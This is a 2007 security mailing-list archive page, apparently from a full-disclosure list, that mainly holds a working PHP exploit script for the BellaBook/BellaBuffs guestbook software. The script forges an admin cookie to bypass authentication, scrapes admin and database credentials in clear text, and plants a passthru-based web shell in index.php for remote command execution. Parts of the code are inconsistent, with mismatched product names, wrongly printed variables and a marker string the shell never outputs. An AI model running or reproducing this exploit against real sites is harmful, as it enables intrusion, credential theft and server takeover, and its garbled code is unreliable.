Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | BellaBook Admin Bypass/Remote Code Execution |
|---|---|
| Date: | 31 Jul 2007 10:44:20 -0000 |
<?php /* #AUTHOR: ilker kandemir #DOWNLOAD: http://www.jemjabella.co.uk/scripts/BellaBuffs.zip Explanation: The user verification routine used in most of the files is: ######################################################## #require_once('prefs.php'); #if (isset($_COOKIE['bellabuffs'])) { # if ($_COOKIE['bellabuffs'] == md5($admin_name.$admin_pass.$secret)) { # if (isset($_GET['ap'])) { $page = $_GET['ap']; } else { $page = ""; } # include('header.php'); # ######################################################## So basically it's saying "If the value within the cookie pheap_login is not the same value that is assigned to the $admin_name variable withing prefs.php then you have to be redirected to the login page". So if we know the $admin_name we can access any page that uses this authentication method. Also, we can retrieve all credentials in clear-text. */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); if ($argc<5) { print "-------------------------------------------------------------------------\r\n"; print " BellaBook Admin Bypass/Remote Code Execution\r\n"; print "-------------------------------------------------------------------------\r\n"; print "Usage: pheap.php [OPTION] [HOST] [PATH] [USER] ([COMMAND])\r\n\r\n"; print "[OPTION] = 0 = Credentials Disclosures\r\n"; print " 1 = Remote Code Execution\r\n"; print "[HOST] = Target server's hostname or ip address\r\n"; print "[PATH] = Path where Pheap is located\r\n"; print "[USER] = Admin's username\r\n"; print "[COMMAND] = Command to execute\r\n\r\n"; print "e.g. pheap.php 0 victim.com /pheap/ admin\r\n"; print " pheap.php 1 victim.com /pheap/ admin \"ls -lia\"\r\n"; print "-------------------------------------------------------------------------\r\n"; die; } // Props to [rgod] for the following functions $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $exploit = $argv[1]; $host = $argv[2]; $path = $argv[3]; $user = $argv[4]; $cmd = $argv[5]; $cmd = urlencode($cmd); $port=80;$proxy=""; if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if ($exploit==0){ print "-------------------------------------------------------------------------\r\n"; print " BellaBuffs Admin Bypass/Remote Code Execution \r\n"; print "-------------------------------------------------------------------------\r\n"; $packet ="GET " . $path . "captcha.php HTTP/1.1\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: pheap_login=" . $user . "\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"This is the settings panel")){} else{echo "...Failed!\r\n"; exit();} $temp=explode("name=\"user_name\" class=\"ieleft\" value=\"",$html); $temp2=explode("\" /> <strong>:Username",$temp[1]); $ret_user=$temp2[0]; echo "[+] Admin User: " . $admin_name . "\r\n"; $temp=explode("name=\"password\" class=\"ieleft\" value=\"",$html); $temp2=explode("\" /> <strong>:Password",$temp[1]); $ret_user=$temp2[0]; echo "[+] Admin Pass: " . $admin_pass . "\r\n"; $temp=explode("name=\"dbhost\" class=\"ieleft\" id=\"dbhost\" value=\"",$html); $temp2=explode("\" /> <strong>:Database Host",$temp[1]); $ret_user=$temp2[0]; echo "[+] Database Host: " . $admin_name . "\r\n"; $temp=explode("name=\"dbuser\" class=\"ieleft\" id=\"dbuser\" value=\"",$html); $temp2=explode("\" /> <strong>:Database Username",$temp[1]); $ret_user=$temp2[0]; echo "[+] Database User: " . $admin_pass . "\r\n"; $temp=explode("name=\"dbpass\" class=\"ieleft\" id=\"dbpass\" value=\"",$html); $temp2=explode("\" /> <strong>:Database Password",$temp[1]); $ret_user=$temp2[0]; echo "[+] Database Pass: " . $ret_user . "\r\n"; print "-------------------------------------------------------------------------\r\n"; print " MEFISTO BEGiNS \r\n"; print "-------------------------------------------------------------------------\r\n"; } if($exploit==1){ $packet ="GET " . $path . "admin.php?ap=manage_members&=" . $path . "index.php HTTP/1.1\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: pheap_login=" . $user . "\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("name=\"filename\" value=\"",$html); $temp2=explode("\">",$temp[1]); $fullpath=$temp2[0]; $shell = '<?php echo "<font color=#FFFFFF>For Turkey</font>";ini_set("max_execution_time",0);passthru($_GET[cmd]);echo "<font color=#FFFFFF>Milw0rm.Com</font>";?>'; $data = "mce_editor_0_styleSelect="; $data .= "&mce_editor_0_formatSelect="; $data .= "&mce_editor_0_fontNameSelect="; $data .= "&mce_editor_0_fontSizeSelect=0"; $data .= "&mce_editor_0_zoomSelect=100%25"; $data .= "&content=" . urlencode($shell); $data .= "&filename=" . urlencode($fullpath); $data .= "&update_text.x=57"; $data .= "&update_text.y=15"; $packet ="POST " . $path . "admin.php?ap=manage_members HTTP/1.1\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept: */*\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: pheap_login=" . $user . "\r\n"; $packet.="Referer: http://" . $host.$path . "admin.php?ap=manage_members&=" . $path . "index.php\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $packet ="GET " . $path . "index.php?cmd=" . $cmd . " HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"...Silentz")) { print "-------------------------------------------------------------------------\r\n"; print " BellaBuffs Admin Bypass/Remote Code Execution \r\n"; print "-------------------------------------------------------------------------\r\n"; $temp=explode("...Silentz</font>",$html); $temp2=explode("<font color=#FFFFFF>",$temp[1]); echo "===============================================================\r\n\r\n"; echo $temp2[0]; echo "\r\n===============================================================\r\n"; echo "\r\n[+] Shell...http://" .$host.$path. "index.php?cmd=[COMMAND]\r\n" } } ?>
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [Full-disclosure] rPSA-2007-0151-1 gvim vim vim-minimal, rPath Update Announcements |
|---|---|
| Next by Date: | Re: RFI ====> vBulletin v3.6.5, scott-REMOVE |
| Previous by Thread: | [Full-disclosure] rPSA-2007-0151-1 gvim vim vim-minimal, rPath Update Announcements |
| Next by Thread: | security contact for uat.edu needed, Hans Wolters |
| Indexes: | [Date] [Thread] [Top] [All Lists] |